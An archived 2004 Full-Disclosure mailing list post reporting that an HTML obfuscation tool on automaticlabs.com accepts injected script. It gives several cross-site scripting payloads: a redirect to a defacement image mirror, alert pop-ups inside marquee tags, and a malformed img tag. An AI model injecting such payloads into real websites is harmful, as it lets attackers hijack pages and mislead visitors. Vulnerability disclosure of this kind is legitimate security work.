hacking security forum

Re: [Full-Disclosure] automati%20clabs

From: jamie fisher <contact_jamie_fisher@yahoo.co.uk>
Date: Sun Aug 08 2004 - 13:04:44 EDT

Well, something fecked up there in the post...
 
Try again:
<script>document.location="http://www.attrition.org/mirror/attrition/2001/07/28/www.attrition.org/hbun.jpg"</script>
<marquee><script>alert('shit')</script>shit</marquee>
<script>alert('shit')</script><img src="shithttp://www.attrition.org/mirror/attrition/2001/07/28/www.attrition.org/hbun.jpg"><marquee>shit</marquee>
 
Cheers!!

jamie fisher <contact_jamie_fisher@yahoo.co.uk> wrote:

This is petty, but given the context kind of amusing...
 
http://automaticlabs.com/products/enkoderform/ offers an obfuscation method for html pages. They also offer (in the advanced form) a link to attritions mirror of the Fluffi Bunni attritoin defacement.
 
Simply add the following script:
 
<script>document.location="http://www.attrition.org/mirror/attrition/2001/07/28/www.attrition.org/hbun.jpg"</script>
 
you can also do this:
 
<marquee><script>alert('shit')</script>shit</marquee>
 
or this:
 
<script>alert('shit')</script><img src="shithttp://www.attrition.org/mirror/attrition/2001/07/28/www.attrition.org/hbun.jpg"><marquee>shit</marquee>
 
Sunday and its raining...

---------------------------------
ALL-NEW Yahoo! Messenger - all new features - even more fun!

                
---------------------------------
 ALL-NEW Yahoo! Messenger - all new features - even more fun!

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
Received on Sun Aug 08 13:41:26 2004

This archive was generated by hypermail 2.1.8 : Sun Aug 08 2004 - 14:01:13 EDT